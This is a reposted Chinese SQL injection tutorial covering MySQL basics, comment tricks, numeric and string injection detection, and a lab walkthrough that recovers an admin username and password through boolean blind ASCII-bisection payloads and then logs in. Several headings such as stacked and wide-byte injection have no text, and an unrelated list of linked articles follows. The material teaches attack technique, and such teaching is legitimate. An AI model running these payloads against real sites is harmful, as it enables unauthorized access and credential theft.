sql注入基础学习

1.常用SQL语句

01、显示数据库 show databases;

02、打开数据库 use db name;

03、显示数据表 show tables;

04、显示表结构 describe table_name;

05、显示表中各字段信息,即表结构 show columns from table_name;

06、显示表创建过程 show create table表名;

07、列出当前mysql的相关状态信息 status;

08、删除数据库 drop database 数据库名;

09、清空数据表 delete from table_name;truncate table table_name;

10、删除数据表 drop table table name

11、数据库连接 mysql-uroot-proot

12、数据库退出exit

limit 控制输出:limit 0,1

0:表示输出第一行

1:表示取一条数据

2. MySQL注释符

1.注释符可以替换空格

2.内联注入:/*!/*!*/

/**/在mysql中是多行注释但是如果里面加了

那么后面的内容会被执行

3.单行注释符后面加换行也是可以执行的

/**/

#

--

3.SQL注入常用函数

length('name):函数返回字符串的长度

substr'name',1,1):函数截取字符串

asci(’a’):函数返回字符的asci码

left(name,2):函数返回name的左边二个字符

right(name,2):函数返回name的右边二个字符

information_schema数据库

SQL注入原理

sql注入常见流程

1|1数字型判断##

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x and 1=1

页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x and 1=2

页面运行错误,则说明此 Sql 注入为数字型注入。

1|2字符型判断##

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x' and '1'='1

页面运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x' and '1'='2

页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

sql注入演示(步骤有所省略)

4、获取显示位

5.将显示位替换为要查询的函数

7、获取所有数据库

8、获取数据表

9、获取表中字段

10.获取数据

堆叠注入

宽字节注入

字符转换

宽字节注入过程

报错注入

盲注

布尔盲注

布尔盲注利用

延时盲注函数

1.Oracle手工盲注

实验步骤一

1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接

2.网址后加and 1=1返回正常

3.加and 1=2返回错误,说明存在注入漏洞。

4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。

5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大

and (select count(*) from admin)=1,返回正常说明只有一个管理员。

6.已知表的前提下,判断表中字段结构

and (select count(name) from admin)>=0返回正常,说明存在name字段

and (select count(pass) from admin)>=0返回错误,说明不存在pass字段

经过猜测,存在pwd字段

实验步骤二

7.接下来采用ASCII码折半法猜解管理员帐号和密码

判断管理员帐号的长度

and (select count(*) from admin where length(name)>=5)=1

说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成

8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

9.相同方法猜解密码

and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文

and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a

and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8

完成上述操作可以确定帐号为:admin密码为:admin888

打开 http://10.1.1.59/login.jsp,输入猜解出的用户名和密码

提示登录成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/450629.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c++初阶------类和对象(下)

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

河北政采网2024年的入驻要求?

河北政采网2024年的入驻要求主要包括以下几个方面&#xff1a; 经营范围与资质&#xff1a;申请者需具有合法经营的营业执照&#xff0c;可以是一般纳税人、小规模纳税人或个体工商户。同时&#xff0c;申请者需要具备自主电商平台&#xff0c;该平台应为面向社会消费的专业销…

Linux学习(3)——使用Linux命令行

1.Shell是什么&#xff1f; shell本质上是Linux的应用程序&#xff0c;是Linux和用户进行沟通的桥梁 用户可以通过控制台终端输入各种命令&#xff0c;命令会被shell解析&#xff0c;解析后就会调用命令所对应的应用程序&#xff0c;应用程序又会去调用各种API接口以使用Linux内…

锐捷 EWEB auth 远程命令执行漏洞复现

一、漏洞信息 漏洞名称:锐捷 EWEB auth 远程命令执行漏洞 漏洞类别:远程代码执行 风险等级:高危 二、漏洞描述 锐捷睿易是锐捷网络针对商业市场的子品牌。拥有易网络、交换机、路由器、无线、安全、云服务六大产品线,解决方案涵盖商贸零售、酒店、KTV、网吧、监控安防…

【嵌入式——QT】文件系统和文件读写

【嵌入式——QT】文件系统和文件读写 文本文件读写二进制文件读写文件目录操作QCoreApplicationQFileQFileInfoQDirQTemporaryDir和QTemporaryFileQFileSystemWatcher 图示代码示例 文本文件读写 QT提供了两种读写纯文本文件的基本方法&#xff0c;一种是用QFile类的IODevice读…

java SSM科研管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计

一、源码特点 java SSM科研管理系统是一套完善的web设计系统&#xff08;系统采用SSM框架进行设计开发&#xff0c;springspringMVCmybatis&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S…

VS Code搭建windows+远程Linux上Docker的开发环境

在本地windows桌面系统远程Linux上Docker搭建开发环境主要步骤如下&#xff1a; 一、安装vs code和插件 在windows系统上安装vs code&#xff0c;并安装好remote-ssh、dev-container插件&#xff0c;也可以直接安装Remote Development&#xff0c;他会默认把vs code远程的几种…

网络请求与数据解析

urllib是Python自带的标准库中用于网络请求的库 &#xff0c;无需安装&#xff0c;直接引用即可。通常用于爬虫开发、API&#xff08;应用程序编程接口&#xff09;数据获取和测试。 urllib库的几个模块&#xff1a; urllib.request :用于打开和读取URLurllib.error:包含提出…

大模型相关算法模型学习

对Transformer中Add&Norm层的理解-CSDN博客 GPT模型总结【模型结构及计算过程_详细说明】_gpt结构-CSDN博客 推荐30个以上比较好的中文nlp意图识别模型源码&#xff1f;-CSDN博客 Few-shot learning&#xff08;少样本学习&#xff09;入门 - 知乎 (zhihu.com) 零次学习…

程序人生 - 爬虫者,教育也!

作为一个站长&#xff0c;你是不是对爬虫不胜其烦&#xff1f;爬虫天天来爬&#xff0c;速度又快&#xff0c;频率又高&#xff0c;服务器的大量资源被白白浪费。 看这篇文章的你有福了&#xff0c;我们今天一起来报复一下爬虫&#xff0c;直接把爬虫的服务器给干死机。 本文有…

Linux常见指令总结

ls&#xff1a;显示当前目录下文件列表 常用的命令行参数&#xff1a; -l 显示更多的文件属性 -a 显示所有的文件/目录&#xff08;包括隐藏的&#xff09; -d 只显示目录 ps&#xff1a;参数可以叠加使用。 例如&#xff1a;ls -la 显示所有文件…

基于 Jenkins 搭建一套 CI/CD 系统

一、CI/CD环境介绍 本次要实现如下效果&#xff0c;开发人员完成功能开发并提交代码到gitlab仓库&#xff0c;jenkins自动完成拉取代码、编译构建、代码扫描&#xff08;sonarqube&#xff09;、打包&#xff0c;再自动化完成部署到Tomcat服务器提供访问。 环境准备三台Centos…

初窥机器学习

人工智能 近几年来&#xff0c;人工智能&#xff08;AI&#xff09;已成为家喻户晓的术语&#xff0c;我们在游戏、电影&#xff08;还记得J.A.R.V.I.S吗&#xff1f;&#xff09;和书籍中经常看到它的提及和描绘&#xff0c;但人工智能究竟是什么呢&#xff1f; 人工智能简单…

远程同声传译如何实现?哪里提供专业的远程同声传译?

远程同传声传译&#xff0c;即线上同传翻译&#xff0c;是指翻译员通过非现场的网络方式进行的同声传译(实时翻译)。远程同声传译的实现依赖于一系列先进的技术手段和高效的协作流程。这一服务模式的出现&#xff0c;不仅打破了传统同声传译的地域限制&#xff0c;还为全球范围…

2024上半年软考初级《程序员》报名考试全流程梳理

​2024年软考程序员考试报名时间节点&#xff1a; 报名时间&#xff1a;上半年3月18日到4月15日&#xff0c;下半年8月19日到9月15日&#xff08;各地区报名时间不同&#xff0c;具体日期见官方通告&#xff09; 准考证打印时间&#xff1a;上半年5月20日起&#xff0c;下半年…

HarmonyOS NEXT应用开发之使用AKI轻松实现跨语言调用

介绍 针对JS与C/C跨语言访问场景&#xff0c;NAPI使用比较繁琐。而AKI提供了极简语法糖使用方式&#xff0c;一行代码完成JS与C/C的无障碍跨语言互调&#xff0c;使用方便。本示例将介绍使用AKI编写C跨线程调用JS函数场景。通过调用C全局函数&#xff0c;创建子线程来调用JS函…

项目实战-tpshop商城项目

项目实战-tpshop商城项目 环境部署准备软件工具准备远程连接测试远程连接测试-查看虚拟机IP地址远程连接测试-检测本机与虚拟机是否连通远程连接测试-通过远程工具连接linux服务器 常见问题处理 环境部署项目技术架构介绍部署tpshop项目-tpshop验证数据库验证用户信息表熟悉商品…

【国产】API接口管理平台的产品设计与搭建讲解

【国产接口管理平台】PhalApi Pro (π框架专业版) PhalApi Pro (发音&#xff1a;π框架专业版)&#xff0c;是一款国产企业级API接口管理平台&#xff0c;可以零代码、快速搭建API接口开发平台、接口开放平台、接口管理平台。基于PhalApi开源接口开发框架&#xff0c;通过低代…

可视化表单流程编辑器为啥好用?

想要提升办公率、提高数据资源的利用率&#xff0c;可以采用可视化表单流程编辑器的优势特点&#xff0c;实现心中愿望。伴随着社会的进步和发展&#xff0c;提质增效的办公效果一直都是很多职场办公团队的发展需求&#xff0c;作为低代码技术平台服务商&#xff0c;流辰信息团…

MySQL8.0安装教程+使用Navicat远程连接

MySQL8.0安装教程使用Navicat远程连接 版本&#xff1a;MySQL8.0.28 环境&#xff1a;Windows11 1.MySQL下载 进入官网https://www.mysql.com/进行下载&#xff1a; 2.安装MySQL 下载好后&#xff0c;点击运行程序开始安装&#xff0c;安装步骤如下&#xff1a; 以下步骤验…